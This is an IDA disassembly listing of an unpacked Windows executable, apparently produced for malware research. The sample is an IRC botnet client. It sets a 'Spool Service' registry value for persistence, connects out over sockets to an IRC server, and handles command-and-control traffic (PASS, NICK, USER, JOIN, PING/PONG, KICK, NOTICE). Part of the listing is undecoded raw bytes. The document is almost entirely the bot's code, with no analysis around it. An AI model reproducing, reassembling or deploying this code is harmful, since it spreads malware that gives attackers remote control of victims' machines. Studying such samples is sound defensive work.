; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : FEF1EAD5FB19B69F66D9BBEED688AC4B ; File Name : u:\work\fef1ead5fb19b69f66d9bbeed688ac4b_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000FF000 (1044480.) ; Section size in file : 000FF000 (1044480.) ; Offset to raw data for section: 00001000 ; Flags F0000040: Data Shareable Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _nsp0 segment para public 'CODE' use32 assume cs:_nsp0 ;org 401000h assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: .nsp0:00401074p ; .nsp0:00418B23p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429058 xor esi, esi mov ebx, offset aSpoolService ; "Spool Service" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4D11A4 ; RegCreateKeyExA cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B890 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4D1214 ; RegSetValueExA jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4D1154 ; RegDeleteValueA loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4D11CC ; RegCloseKey add edi, 8 cmp edi, offset dword_429070 jl short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; --------------------------------------------------------------------------- loc_401070: ; CODE XREF: .nsp0:00401086j push dword ptr [esp+4] call sub_401000 pop ecx push dword_429050 call dword_427064 ; Sleep jmp short loc_401070 ; =============== S U B R O U T I N E ======================================= sub_401088 proc near ; CODE XREF: sub_4010C3+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010BD push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_4010A1: ; CODE XREF: sub_401088+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_4010A1 pop edi pop ebx loc_4010BD: ; CODE XREF: sub_401088+Ej mov eax, esi pop esi not eax retn sub_401088 endp ; =============== S U B R O U T I N E ======================================= sub_4010C3 proc near ; CODE XREF: .nsp0:00416C4Cp var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BBCB mov [esp+10h+var_10], offset dword_429070 push [esp+10h+arg_0] mov esi, eax call sub_41BBB8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_401112 loc_4010E8: ; CODE XREF: sub_4010C3+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_401116 inc ebx push ebx push esi call sub_41BA78 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_401112 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41B990 add esp, 10h jmp short loc_4010E8 ; --------------------------------------------------------------------------- loc_401112: ; CODE XREF: sub_4010C3+23j ; sub_4010C3+39j xor eax, eax jmp short loc_401131 ; --------------------------------------------------------------------------- loc_401116: ; CODE XREF: sub_4010C3+29j dec ebx push ebx push esi call sub_401088 push esi mov ebx, eax call sub_41B961 push edi call sub_41B90B add esp, 10h mov eax, ebx loc_401131: ; CODE XREF: sub_4010C3+51j pop edi pop esi pop ebx retn sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401135 proc near ; DATA XREF: .nsp0:00401269o var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h arg_6A1474B8 = byte ptr 6A1474C0h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_44412C call dword_4D1288 ; closesocket call sub_40B1D7 call dword_4D1148 ; WSACleanup call dword_4D1148 ; WSACleanup mov ebx, dword_427064 push 64h call ebx ; dword_427064 xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BC40 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BC40 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_443398 mov [ebp+var_28], 1 mov [ebp+var_24], di call near ptr 0B40000h dec ebp lea eax, [ebp+var_158] push esi push eax push edi call near ptr 0B40000h pop ebp lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 0B40000h cmp al, [ebp+arg_6A1474B8] db 64h call ebx ; dword_427064 push [ebp+var_10] mov esi, dword_42706C call esi ; dword_42706C push [ebp+var_C] call esi ; dword_42706C mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_443390 mov eax, [esp+10h+var_10] mov large fs:0, eax add esp, 8 push edi call dword_427068 ; ExitProcess pop edi pop esi pop ebx loc_40121D: ; DATA XREF: .nsp0:00429004o jmp $+5 push 0FFFFh push 539h call sub_418F1D pop ecx mov dword_4D0F20, eax pop ecx retn sub_401135 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401239 proc near ; DATA XREF: .nsp0:00429008o jmp $+5 sub_401239 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40123E proc near push 0FFFFh push 539h call sub_418F1D pop ecx mov dword_4D108C, eax pop ecx retn sub_40123E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-10h], ebx mov dword ptr [ebp-0Ch], offset sub_401135 push dword ptr [ebp-0Ch] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270A8 call esi ; dword_4270A8 xor edx, edx mov ecx, 3E8h div ecx mov dword_4D0F24, eax call esi ; dword_4270A8 push eax call sub_41BF88 pop ecx call sub_409A6D push 2 call dword_4D129C ; SetErrorMode push 7530h push offset aXxerooxx ; "XxerooxX" push ebx push ebx call near ptr 0B40000h pop esi push eax call near ptr 0B40000h enter 23Dh, 1 ; --------------------------------------------------------------------------- db 2 dup(0), 75h dd 0FF016A08h, 42706815h, 78858D00h, 50FFFFF7h, 20268h dd 6015FF00h, 3B004D11h, 0F44589C3h, 5A6850Fh, 0BD800000h dd 0FFFFF778h, 93850F02h, 33000005h, 79858AC0h, 3CFFFFF7h dd 83850F02h, 0BE000005h, 104h, 0FC0C858Dh, 5056FFFFh dd 73ECDFE8h, 858D8D00h, 0FFFFFD10h, 0E8535056h, 73ECD0h dd 0C9E8505Bh, 0D10073ECh, 0F908858Dh, 8D50FFFFh, 0FFFA0885h dd 8D5350FFh, 0FFFD1085h, 0E85053FFh, 1AD2Dh, 0F908858Dh dd 8D50FFFFh, 0FFFA0885h, 0F86850FFh, 8D004301h, 0FFFB0885h dd 0E85056FFh, 1ACBCh, 0FC0C858Dh, 8D50FFFFh, 0FFFD1085h dd 29E850FFh, 830001ACh, 0C08530C4h, 1B8850Fh, 1D390000h dd 4D1094h, 429100BEh, 56317400h, 0E9E8FF33h, 830001A4h dd 745904E8h, 0ABE0E823h, 1A6A0001h, 0F9F75999h, 61C28056h dd 91009788h, 0E8470042h, 1A4C8h, 5904E883h, 0DD72F83Bh dd 0FC0C858Dh, 5056FFFFh, 0FE14858Dh, 0F068FFFFh, 50004301h dd 1AB4DE8h, 10C48300h, 0FE14858Dh, 0FF50FFFFh, 42709815h dd 0FFF88300h, 858D1274h, 0FFFFFE14h, 8068h, 0F1E85000h dd 0E60073EBh, 7090358Bh, 858D0042h, 0FFFFFE14h, 858D5053h dd 0FFFFFD10h, 0FF50FF33h, 75C085D6h, 8C15FF33h, 3B004270h dd 832975FBh, 57420F8h, 7505F883h, 5F016A1Fh, 3A9868h dd 6415FF00h, 8D004270h, 0FFFE1485h, 8D5053FFh, 0FFFD1085h dd 0C7EB50FFh, 0FE14858Dh, 0E850FFFFh, 175D3h, 14858D59h dd 6AFFFFFEh, 85E85007h, 9B0073EBh, 458D106Ah, 0E85053DCh dd 1A7B8h, 858D446Ah, 0FFFFFF18h, 5053565Eh, 1A7A7E8h dd 18C48300h, 0FF18B589h, 85C7FFFFh, 0FFFFFF24h, 443398h dd 489D8966h, 6AFFFFFFh, 0B5895E01h, 0FFFFFF44h, 73EB3FE8h dd 56505200h, 10000068h, 0EB32E800h, 8D260073h, 0FFFD108Dh dd 8D5051FFh, 0FFFE1485h, 858D50FFh, 0FFFFF674h, 4301E468h dd 47E85000h, 830001AAh, 458D14C4h, 858D50DCh, 0FFFFFF18h dd 0C858D50h, 50FFFFFCh, 56286A53h, 74858D53h, 53FFFFF6h dd 14858D50h, 50FFFFFEh, 73EAE3E8h, 0C085BF00h, 0C8682874h dd 0FF000000h, 42706415h, 0DC75FF00h, 706C358Bh, 0D6FF0042h dd 0FFE075FFh, 4815FFD6h, 53004D11h, 706815FFh, 3D830042h dd 4E1514h, 0A1437E02h, 4E1518h, 0E80470FFh, 1A8C9h, 6AF08B59h dd 95E856FFh, 3C0073EAh, 6C15FF56h, 0A1004270h, 4E1518h dd 74085839h, 7D06819h, 15FF0000h, 427064h, 4E1518A1h dd 870FF00h, 73EA6BE8h, 1D397A00h, 429090h, 1D391574h dd 4D12C0h, 858D0D75h, 0FFFFFB08h, 0FA4EE850h, 8D59FFFFh dd 0FFFF5C85h, 1C868FFh, 0E8500043h, 1A972h, 5C858D53h dd 53FFFFFFh, 9A3CE850h, 858D0000h, 0FFFFFF5Ch, 41C8E850h dd 80680001h, 5300000Bh, 4433A068h, 0A652E800h, 858D0001h dd 0FFFFFF5Ch, 4301A468h, 37E85000h, 530001A9h, 0FF5C858Dh dd 16AFFFFh, 9A00E850h, 0C4830000h, 8BF88B38h, 42707C35h dd 0F8458D00h, 68535350h, 41A289h, 0D6FF5353h, 234FF69h dd 0C33B0000h, 41348789h, 1B750044h, 708C15FFh, 8D500042h dd 0FFFF5C85h, 16468FFh, 0E8500043h, 1A8E6h, 8D0CC483h dd 0FFFF5C85h, 47E850FFh, 8D000141h, 0FFFF5C85h, 2404C7FFh dd 430138h, 0A8C4E850h, 8D530001h, 0FFFF5C85h, 50016AFFh dd 998DE8h, 14C48300h, 458DF88Bh, 535350F8h, 41AD3D68h dd 0FF535300h, 34FF69D6h, 3B000002h, 348789C3h, 75004441h dd 8C15FF1Bh, 50004270h, 0FF5C858Dh, 0FC68FFFFh, 50004300h dd 1A879E8h, 0CC48300h, 0FF5C858Dh, 0E850FFFFh, 140DAh dd 0FF5C858Dh, 4C7FFFFh, 4300D424h, 57E85000h, 530001A8h dd 0FF5C858Dh, 16AFFFFh, 9920E850h, 0C4830000h, 8DF88B14h dd 8D50F845h, 0FFFB0885h, 685053FFh, 401070h, 0D6FF5353h dd 234FF69h, 0C33B0000h, 41348789h, 1B750044h, 708C15FFh dd 8D500042h, 0FFFF5C85h, 9868FFh, 0E8500043h, 1A806h dd 8D0CC483h, 0FFFF5C85h, 67E850FFh, 0E8000140h, 1A84Eh dd 0B8687F6Ah, 68004290h, 4D0F2Ch, 10A41D89h, 45E8004Dh dd 0A10001A5h, 429074h, 0ACBF3F6Ah, 68004D0Fh, 4290C8h dd 107CA357h, 29E8004Dh, 6A0001A5h, 0FECBE3Fh, 0D068004Dh dd 56004290h, 1A517E8h, 28C48300h, 10801D89h, 5D89004Dh dd 0D81D39FCh, 75004D12h, 0EC458D16h, 15FF5053h, 4D112Ch dd 775C085h, 753068h, 682CEB00h, 4D0F28h, 10A01D89h, 0DEE8004Dh dd 83000000h, 458902F8h, 0BE840FF4h, 39000000h, 4D10A01Dh dd 0FF037400h, 0B868FC4Dh, 0FF00000Bh, 42706415h, 0FC45FF00h dd 6FC7D83h, 7D83A77Ch, 840F02F4h, 95h, 74F05D39h, 687F6A40h dd 4290B8h, 4D0F2C68h, 0A492E800h, 74A10001h, 6A004290h dd 90C8683Fh, 0A3570042h, 4D107Ch, 1A47BE8h, 683F6A00h dd 4290D0h, 0A46EE856h, 0C4830001h, 0F05D8924h, 0FFFF55E9h dd 0DC1D38FFh, 0F004290h, 0FFFF4984h, 687F6AFFh, 4290DCh dd 4D0F2C68h, 0A446E800h, 78A10001h, 6A004290h, 90EC683Fh dd 0A3570042h, 4D107Ch, 1A42FE8h, 683F6A00h, 4290F4h, 0A422E856h dd 0C4830001h, 0F045C724h, 1, 0FFFF05E9h, 9945E8FFh, 15FF0000h dd 4D1148h, 0C0335E5Fh, 10C2C95Bh db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018A1 proc near ; DATA XREF: .nsp0:00408081o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_4018C6: ; CODE XREF: sub_4018A1+E6j ; sub_4018A1+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BC40 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4D11F0 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40AA54 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_4019F3 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BC40 push 0 lea eax, [ebp+var_2C] push dword_4D1098 push dword_42909C push eax call sub_40AFA5 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_444138 push edi push eax call sub_41BCA0 add esp, 28h push 6 push 1 push 2 call dword_4D1270 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_44412C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4D1198 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40198C push esi call dword_4D1288 ; closesocket call sub_40AA7D push 7D0h loc_401981: ; CODE XREF: sub_4018A1+146j call dword_427064 ; Sleep jmp loc_4018C6 ; --------------------------------------------------------------------------- loc_40198C: ; CODE XREF: sub_4018A1+CDj lea eax, [ebp+var_18C] push eax push offset unk_430200 call sub_41581A push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_401A09 add esp, 28h mov edi, eax push esi call dword_4D1288 ; closesocket test edi, edi jz loc_4018C6 cmp edi, 1 jnz short loc_4019E9 push 0DBBA0h jmp short loc_401981 ; --------------------------------------------------------------------------- loc_4019E9: ; CODE XREF: sub_4018A1+13Fj cmp edi, 2 jz short loc_4019F7 jmp loc_4018C6 ; --------------------------------------------------------------------------- loc_4019F3: ; CODE XREF: sub_4018A1+5Aj xor eax, eax jmp short loc_401A03 ; --------------------------------------------------------------------------- loc_4019F7: ; CODE XREF: sub_4018A1+14Bj push [ebp+var_34] call sub_40B32A pop ecx push 2 pop eax loc_401A03: ; CODE XREF: sub_4018A1+154j pop edi pop esi leave retn 4 sub_4018A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A09 proc near ; CODE XREF: sub_4018A1+123p var_1990 = byte ptr -1990h var_990 = byte ptr -990h var_1C0 = byte ptr -1C0h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1990h call sub_41C1D0 push ebx xor ebx, ebx cmp byte_4D109C, bl push esi push edi mov [ebp+var_8], ebx mov [ebp+var_120], bl jz short loc_401A41 push offset byte_4D109C push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40998C add esp, 0Ch loc_401A41: ; CODE XREF: sub_401A09+21j push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AFA5 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41BF36 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B890 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4D1240 ; send cmp eax, 0FFFFFFFFh jnz short loc_401AAB push [ebp+arg_0] call dword_4D1288 ; closesocket push 1388h call dword_427064 ; Sleep loc_401AA4: ; CODE XREF: sub_401A09+CCj ; sub_401A09+146j xor eax, eax loc_401AA6: ; CODE XREF: sub_401A09+166j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401AAB: ; CODE XREF: sub_401A09+85j ; sub_401A09+EBj ... mov esi, 1000h lea eax, [ebp+var_1990] push esi push ebx push eax call sub_41BC40 add esp, 0Ch lea eax, [ebp+var_1990] push ebx push esi push eax push [ebp+arg_0] call dword_4D1208 ; recv test eax, eax jle short loc_401AA4 lea eax, [ebp+var_990] push eax lea eax, [ebp+var_1990] push eax call sub_41872B pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_401AAB lea edi, [ebp+var_990] loc_401AFC: ; CODE XREF: sub_401A09+158j push 1 pop esi loc_401AFF: ; CODE XREF: sub_401A09+137j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_1C0] push eax lea eax, [ebp+var_120] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call loc_401B74 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401B42 push 7D0h call dword_427064 ; Sleep jmp short loc_401AFF ; --------------------------------------------------------------------------- loc_401B42: ; CODE XREF: sub_401A09+12Aj cmp esi, 0FFFFFFFDh jz short loc_401B6C cmp esi, 0FFFFFFFEh jz short loc_401B68 cmp esi, 0FFFFFFFFh jz loc_401AA4 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401AFC jmp loc_401AAB ; --------------------------------------------------------------------------- loc_401B68: ; CODE XREF: sub_401A09+141j push 1 jmp short loc_401B6E ; --------------------------------------------------------------------------- loc_401B6C: ; CODE XREF: sub_401A09+13Cj push 2 loc_401B6E: ; CODE XREF: sub_401A09+161j pop eax jmp loc_401AA6 sub_401A09 endp ; --------------------------------------------------------------------------- loc_401B74: ; CODE XREF: sub_401A09+11Dp push ebp mov ebp, esp mov eax, 5D88h call sub_41C1D0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp-2C0h] push ebx push eax mov dword ptr [ebp-0A8h], 3 mov [ebp-10h], ebx mov [ebp-0A4h], ebx mov [ebp-8], ebx mov [ebp-4], ebx mov [ebp-2C4h], ebx call sub_41BC40 push 1Bh lea eax, [ebp-338h] push dword ptr [ebp+18h] push eax call sub_41BCA0 add esp, 18h cmp [ebp+8], ebx jz loc_401D6C push esi lea eax, [ebp-4488h] push ebx push eax call sub_41BC40 dec esi lea eax, [ebp-4488h] push esi push dword ptr [ebp+8] push eax call sub_41BCA0 lea eax, [ebp-4488h] push offset asc_433690 ; " :" push eax call sub_41BFB0 mov [ebp-0Ch], eax lea eax, [ebp-4488h] push esi push eax lea eax, [ebp-4AF0h] push eax call sub_41BCA0 mov esi, offset asc_43368C ; " " lea eax, [ebp-4AF0h] push esi push eax call sub_41C794 add esp, 34h mov [ebp-90h], eax lea edi, [ebp-8Ch] mov dword ptr [ebp-2C8h], 1Fh loc_401C47: ; CODE XREF: .nsp0:00401C5Bj push esi push ebx call sub_41C794 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp-2C8h] pop ecx jnz short loc_401C47 mov edi, [ebp-90h] cmp edi, ebx jz loc_401D6C mov esi, [ebp-8Ch] cmp esi, ebx jz loc_401D6C push 100h lea eax, [ebp-960h] push ebx push eax call sub_41BC40 add esp, 0Ch lea ecx, [ebp-14h] push 1Fh pop edx loc_401C94: ; CODE XREF: .nsp0:00401CCCj mov eax, [ecx] cmp eax, ebx jz short loc_401CC6 cmp byte ptr [eax], 2Dh jnz short loc_401CCE cmp [eax+2], bl jnz short loc_401CCE movsx esi, byte ptr [eax+1] mov [ecx], ebx mov edi, [ebp-90h] mov byte ptr [ebp+esi-960h], 1 mov esi, [ebp-8Ch] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401CC6: ; CODE XREF: .nsp0:00401C98j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401C94 loc_401CCE: ; CODE XREF: .nsp0:00401C9Dj ; .nsp0:00401CA2j cmp [ebp-8EDh], bl jz short loc_401CDD mov dword ptr [ebp-8], 1 loc_401CDD: ; CODE XREF: .nsp0:00401CD4j cmp [ebp-8F2h], bl jz short loc_401CEF mov [ebp-8], ebx mov dword ptr [ebp-4], 1 loc_401CEF: ; CODE XREF: .nsp0:00401CE3j cmp byte ptr [edi], 0Ah jz short loc_401D29 push 7Fh lea eax, [ebp-0E00h] push edi push eax call sub_41BCA0 lea eax, [edi+1] push 17h push eax lea eax, [ebp-0C0h] push eax call sub_41BCA0 lea eax, [ebp-0C0h] push offset dword_42C2D0 push eax call sub_41C794 add esp, 20h loc_401D29: ; CODE XREF: .nsp0:00401CF2j push edi push offset aPing ; "PING" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_401D74 push esi push offset aPongS ; "PONG %s\r\n" push dword ptr [ebp+0Ch] mov byte ptr [edi+1], 4Fh call sub_40998C mov eax, [ebp+28h] add esp, 0Ch cmp [eax], ebx jnz short loc_401D6C loc_401D56: ; CODE XREF: .nsp0:00401EF1j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" loc_401D61: ; CODE XREF: .nsp0:0040211Aj ; .nsp0:004023D7j ... push dword ptr [ebp+0Ch] call sub_40998C loc_401D69: ; CODE XREF: .nsp0:00404003j ; .nsp0:00404020j ... add esp, 10h loc_401D6C: ; CODE XREF: .nsp0:00401BCFj ; .nsp0:00401C65j ... push 1 loc_401D6E: ; CODE XREF: .nsp0:00404558j pop eax loc_401D6F: ; CODE XREF: .nsp0:0040457Aj ; .nsp0:00406C98j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401D74: ; CODE XREF: .nsp0:00401D38j push esi push offset a001 ; "001" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409944 push esi push offset a005 ; "005" call sub_41C710 pop ecx test eax, eax pop ecx jz loc_409944 push esi push offset a302 ; "302" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_401DD9 push offset a@_6 ; "@" push dword ptr [ebp-84h] call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_401D6C inc eax push 9Fh push eax push dword ptr [ebp+24h] loc_401DCF: ; CODE XREF: .nsp0:00401F8Ej call sub_41BCA0 loc_401DD4: ; CODE XREF: .nsp0:00403706j add esp, 0Ch jmp short loc_401D6C ; --------------------------------------------------------------------------- loc_401DD9: ; CODE XREF: .nsp0:00401DADj push esi push offset a433 ; "433" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_401E17 push ebx push dword_4D1098 push dword_42909C push dword ptr [ebp+18h] call sub_40AFA5 push dword ptr [ebp+18h] push offset aNickS ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_40998C add esp, 1Ch jmp loc_401D6C ; --------------------------------------------------------------------------- loc_401E17: ; CODE XREF: .nsp0:00401DE8j mov edi, [ebp+20h] lea eax, [ebp-0E00h] push eax push edi call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_401E37 mov dword ptr [ebp-0A4h], 1 loc_401E37: ; CODE XREF: .nsp0:00401E2Bj push esi push offset aKick ; "KICK" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_401EF6 cmp [edi], bl jz loc_401ED4 push 7Fh lea eax, [ebp-0E00h] push edi push eax call sub_41BCA0 lea eax, [ebp-0C0h] add esp, 0Ch test eax, eax jz short loc_401ED4 cmp [ebp-84h], ebx jz short loc_401ED4 push dword ptr [ebp-84h] lea eax, [ebp-0C0h] push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_401ED4 lea eax, [ebp-0C0h] mov [edi], bl push eax lea eax, [ebp-2C0h] push offset unk_43362C push eax call sub_41BF36 lea eax, [ebp-2C0h] push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push dword ptr [ebp+0Ch] call sub_40998C lea eax, [ebp-2C0h] push eax call sub_4157A6 add esp, 20h loc_401ED4: ; CODE XREF: .nsp0:00401E4Ej ; .nsp0:00401E6Ej ... push dword ptr [ebp-84h] push dword ptr [ebp+18h] call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_401D6C mov eax, [ebp+28h] mov [eax], ebx jmp loc_401D56 ; --------------------------------------------------------------------------- loc_401EF6: ; CODE XREF: .nsp0:00401E46j push esi push offset aNick ; "NICK" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40202B mov eax, [ebp-88h] lea esi, [eax+1] lea eax, [ebp-0E00h] push eax push edi mov [ebp+2Ch], esi call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_401F5D lea eax, [ebp-0E00h] push 21h push eax call sub_41C650 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz short loc_401F5D lea eax, [edi+1] push esi push eax mov byte ptr [edi], 3Ah call sub_41C550 push dword ptr [ebp+8] add edi, 2 push edi call sub_41C560 add esp, 10h loc_401F5D: ; CODE XREF: .nsp0:00401F28j ; .nsp0:00401F3Fj lea eax, [ebp-0C0h] test eax, eax jz loc_401D6C cmp esi, ebx jz loc_401D6C push dword ptr [ebp+18h] lea eax, [ebp-0C0h] push eax call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_401F93 push 0Fh push esi push dword ptr [ebp+18h] jmp loc_401DCF ; --------------------------------------------------------------------------- loc_401F93: ; CODE XREF: .nsp0:00401F86j mov edi, [ebp+20h] xor esi, esi loc_401F98: ; CODE XREF: .nsp0:00401FB9j cmp [edi], bl jz short loc_401FAF lea eax, [ebp-0E00h] push eax push edi call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_401FC0 loc_401FAF: ; CODE XREF: .nsp0:00401F9Aj inc esi add edi, 80h cmp esi, 1 jl short loc_401F98 jmp loc_401D6C ; --------------------------------------------------------------------------- loc_401FC0: ; CODE XREF: .nsp0:00401FADj lea eax, [ebp-0E00h] push 21h push eax call sub_41C650 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz loc_401D6C push eax call sub_41B890 push dword ptr [ebp+2Ch] mov edi, eax call sub_41B890 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401D6C push dword ptr [ebp+8] shl esi, 7 push dword ptr [ebp+2Ch] add esi, [ebp+20h] push offset aSS ; ":%s%s" push esi call sub_41BF36 push ebx lea eax, [ebp-45ECh] push ebx push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call sub_4099D2 add esp, 24h jmp loc_401D6C ; --------------------------------------------------------------------------- loc_40202B: ; CODE XREF: .nsp0:00401F05j push esi push offset aPart ; "PART" call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_40204D push esi push offset aQuit ; "QUIT" call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_40207E loc_40204D: ; CODE XREF: .nsp0:0040203Aj xor esi, esi mov [ebp+14h], edi loc_402052: ; CODE XREF: .nsp0:00402076j mov eax, [ebp+14h] cmp [eax], bl jz short loc_40206B push dword ptr [ebp-90h] push eax call sub_41C710 pop ecx test eax, eax pop ecx jz short loc_4020C1 loc_40206B: ; CODE XREF: .nsp0:00402057j add dword ptr [ebp+14h], 80h inc esi cmp esi, 1 jl short loc_402052 mov esi, [ebp-8Ch] loc_40207E: ; CODE XREF: .nsp0:0040204Bj push esi push offset a353 ; "353" call sub_41C710 pop ecx test eax, eax pop ecx jnz loc_40211F push dword ptr [ebp-80h] push dword ptr [ebp+10h] call sub_41C710 pop ecx test eax, eax pop ecx jnz short loc_4020AD mov eax, 